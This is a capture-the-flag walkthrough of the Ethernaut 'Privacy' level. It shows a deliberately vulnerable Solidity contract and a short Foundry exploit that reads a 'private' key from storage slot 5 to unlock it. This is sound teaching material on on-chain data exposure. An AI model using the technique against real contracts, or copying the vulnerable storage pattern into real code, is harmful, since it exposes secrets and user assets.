The creator of this contract was careful enough to protect the sensitive areas of its storage. Unlock this contract to beat the level.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
Analysis
Let’s review the unlock
function:
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
So the goal is to find out what’s in the data[2]
. This level
is similar to the #9 Vault: we must unlock the contract by
reading a private state variable that contains the key. From the
Solidity docs we know that contract state variables are stored
contiguosly (except for dynamically-sized arrays and mappings)
and items that need less than 32 bytes (256 bits) are packed
into a single storage slot.
Solution
The first 5 state variables take exactly 3 storage slots.
We want to read the bytes16(data[2))
which has slot index 5
:
function exploit() internal override {
vm.startPrank(player);
bytes32 key = vm.load(address(level), bytes32(uint256(5)));
level.unlock(bytes16(key));
vm.stopPrank();
}
In Foundry we use vm.load
to
load the value from storage slot with a specific index.
Lessons learned
- All “private” data is public on the blockchain.
- Encrypt/hash any sensitive data that you want to store in a smart contract.
References
- Layout of State Variables in Storage
- SWC-136 – Unencrypted Private Data On-Chain (from the Smart Contract Weakness Classification and Test Cases).
The full code is here. Thank you for reading and let’s move on to the next challenge: CTF walkthrough, Ethernaut, #14 Gatekeeper One!